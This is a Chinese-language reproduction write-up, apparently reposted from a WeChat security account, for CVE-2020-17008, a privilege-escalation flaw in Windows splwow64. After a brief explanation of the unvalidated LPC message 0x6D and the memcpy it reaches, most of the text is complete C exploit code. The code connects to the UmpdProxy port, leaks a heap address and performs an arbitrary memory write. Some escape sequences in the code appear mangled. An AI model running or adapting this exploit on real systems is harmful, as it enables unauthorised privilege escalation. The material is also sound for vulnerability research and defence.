漏洞概述
Splwow64过于信任LPC传递的数据,并且在消息0x6D中使用了请求发起者的偏移量且没有进行有效的验证,Splwow64将LPC消息传递给GdiPrinterThunk。导致执行可控制的memcpy函数任意地址写。
漏洞原理
触发任意地址写入的调用栈
通过 “\RPC Control\UmpdProxy_%x_%x_%x_%x “, 会话ID, 令牌认证ID 低位,令牌认证ID 高位,0x200 构造出通信LPC名称并进行链接。
通过发送6A消息打开该打印机
由于任意地址写是在当前堆基地址之上,我们输入的是偏移。
所以接着发送带有漏洞的6D消息在当前堆数据内泄露出当前堆基地址,随后通过减去基地址,从而获得任意地址写入。
含有漏洞的消息6D的数据结构:
随后这个消息通过LPC传入SPLWOW64.exe,将输入输出缓冲区传入了庞大的API——GdiPrinterThunk,GdiPrinterThunk中存在一个memcpy,参数来自于输入输出缓冲区。
漏洞复现
POC
标注: 官方POC在GetPortName中使用RtlInitUnicodeString来初始化UNICODE_STRING 时出现了一个问题:使用局部变量dst来对外部传入的PUNICODE_STRING 赋值,这可能导致函数退出时栈被释放后被其他函数修改,从而导致使用该变量的函数调用失败。
[ RtlInitUnicodeString 函数原型见页面底部 ]
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR* ViewBase;
UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI* NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI* ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI* ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress);
int Init()
{
HMODULE ntdll = GetModuleHandleA("ntdll");
printf("ntdll = 0x%pn", (void*)ntdll);
NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
if (NtOpenProcessToken == NULL)
{
printf("Failed to get NtOpenProcessTokenn");
return 0;
}
ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
if (ZwQueryInformationToken == NULL)
{
printf("Failed to get ZwQueryInformationTokenn");
return 0;
}
NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
if (NtCreateSection == NULL)
{
printf("Failed to get NtCreateSectionn");
return 0;
}
ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
if (ZwSecureConnectPort == NULL)
{
printf("Failed to get ZwSecureConnectPortn");
return 0;
}
NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
if (NtRequestWaitReplyPort == NULL)
{
printf("Failed to get NtRequestWaitReplyPortn");
return 0;
}
return 1;
}
WCHAR dst[256];
int GetPortName(PUNICODE_STRING DestinationString)
{
void* tokenHandle;
DWORD sessionId;
ULONG length;
TOKEN_STATISTICS tokenInformation;
memset(&tokenInformation, 0, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst, 0, sizeof(dst));
if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, &tokenInformation, sizeof(tokenInformation), &length))
{
return 0;
}
wsprintfW(
dst,
L"\RPC Control\UmpdProxy_%x_%x_%x_%x",
sessionId,
tokenInformation.AuthenticationId.LowPart,
tokenInformation.AuthenticationId.HighPart,
0x2000);
printf("name: %lsn", dst);
RtlInitUnicodeString(DestinationString, dst);
return 1;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle = 0;
HANDLE portHandle = 0;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart = 0x20000;
if (0 != NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
printf("failed on NtCreateSectionn");
return 0;
}
if (sectionHandle)
{
ClientView.SectionHandle = sectionHandle;
ClientView.Length = 0x30;
ClientView.ViewSize = 0x9000;
int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if (retval) {
printf("Failed on ZwSecureConnectPort: 0x%xn", retval);
return 0;
}
}
return portHandle;
}
PVOID Prepare0x6AMessage()
{
const wchar_t* printerName = L"Microsoft XPS Document Writer";
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x140;
printf("PtrMsgReply: 0x%I64xn", LpcRequest.PtrMsgReply);
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*(UINT64*)ClientView.ViewBase = 0x6A00000000; //Msg Type (OpenPrinter)
*((UINT64*)ClientView.ViewBase + 0x3) = 0x100; // Offset to pointer to Printer Name
*((UINT64*)ClientView.ViewBase + 0x4) = 0x00; //Printer defaults to OpenPrinter
*((UINT64*)ClientView.ViewBase + 0x8) = 0x00;
*((UINT64*)ClientView.ViewBase + 0x7) = 0x500000005; // Args 2 & 3 to bAddPrinterHandle
memcpy(ClientView.ViewBase + 0x100, printerName, 0x3C);
printf("ClientView: 0x%I64x/0x%p, 0x%p: %Sn", (UINT64)ClientView.ViewBase, ClientView.ViewRemoteBase, (ClientView.ViewBase + 0x100), (LPWSTR)(ClientView.ViewBase + 0x100));
*((UINT64*)ClientView.ViewBase + 0x10) = 0x41414141;
return ClientView.ViewBase;
}
PVOID Prepare0x6DMessage_GetPoolAddr(UINT64 cookie, UINT64 heapAddress)
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
*((UINT64*)ClientView.ViewBase + 3) = cookie;
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
//0x40
*((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn
*((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
//0x200
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
//0x100
*((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here
//0x110
*((UINT64*)ClientView.ViewBase + 0x22) = 0;
//0x150
*((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
//0x250
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0x40) = 0x4242424242424242;
*((UINT64*)ClientView.ViewBase + 0xA) = 0x40; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((WORD*)ClientView.ViewBase + 0xA2) = (WORD)0x04;
*((WORD*)ClientView.ViewBase + 0xA3) = (WORD)0x04;
*((UINT64*)ClientView.ViewBase + 0xB) = 0x250; //Destination of memcpy
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
return ClientView.ViewBase;
}
HANDLE g_portHandle;
int main()
{
printf("Startn");
Init(); //初始化所用的库函数
printf("Init donen");
CHAR Path[0x100];
GetCurrentDirectoryA(sizeof(Path), Path);
printf("%sn", Path);
PathAppendA(Path, "CreateDC.exe"); // CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
printf("%sn", Path);
if (!(PathFileExistsA(Path)))
{
printf("CreateDC.exe 不存在n");
return 0;
}
WinExec(Path, 0); //拉起 splwow64.exe
CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
printf("现在你可以使用调试器挂接splwow64.exe. 输入[回车]继续:");
fflush(stdout);
getchar();
printf("获得端口名称n");
UNICODE_STRING portName;
if (!GetPortName(&portName))
{
printf("获得端口名称失败n");
return 0;
}
printf("创建端口. n");
g_portHandle = CreatePortSharedBuffer(&portName);
if (!(g_portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
printf("portHandle = 0x%p && ClientView.ViewBase = 0x%p && ClientView.ViewRemoteBase = 0x%pn", g_portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
return 0;
}
printf("填充 0x6A 消息 - OpenPrintern");
Prepare0x6AMessage();
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("写入 0x6A 消息失败n");
exit(1);
}
printf("写入 0x6A 消息成功!n");
UINT64 cookie = *((UINT64*)ClientView.ViewBase + 0x28);
printf("Cookie: 0x%llxn", cookie);
printf("填充 0x6D 消息 (获得堆地址) - DocumentEventn");
Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次触发memcpy泄漏堆地址以获取偏移量*/
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("写入 0x6D 消息失败n");
exit(1);
}
UINT64 heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
printf("输出: 0x%I64x, 堆地址: 0x%I64xn", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 消息 (获得堆地址) - DocumentEventn");
Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次触发memcpy泄漏堆地址以获取偏移量*/
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("写入 0x6D 消息失败n");
exit(1);
}
heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
printf("输出: 0x%I64x, 堆地址: 0x%I64xn", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 消息(写入数据0x55aa55aa55aa55aa 至 0x55555555地址) - DocumentEventn");
WriteMemory(0x55555555, 0x55aa55aa55aa55aa, cookie, heapAddress);
printf("完成n");
return 0;
}
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress)
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //消息类型(Document Event)
*((UINT64*)ClientView.ViewBase + 3) = cookie;
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 第二个参数:FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
//0x40
*((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn
*((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
//0x200
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
//0x100
*((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here
//0x110
*((UINT64*)ClientView.ViewBase + 0x22) = 0;
//0x150
*((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
//0x250
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0x40) = Data; //欲写入的数据
*((UINT64*)ClientView.ViewBase + 0xB) = WriteAddr - heapAddress; //目标内存地址
*((WORD*)ClientView.ViewBase + 0x122) = (WORD)0x04;
*((WORD*)ClientView.ViewBase + 0x123) = (WORD)0x04;
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("写入0x6D 消息失败n");
}
}
RtlInitUnicodeString函数原型:
本文始发于微信公众号(锋刃科技):SPLWOW64权限提升漏洞(CVE-2020-17008)复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论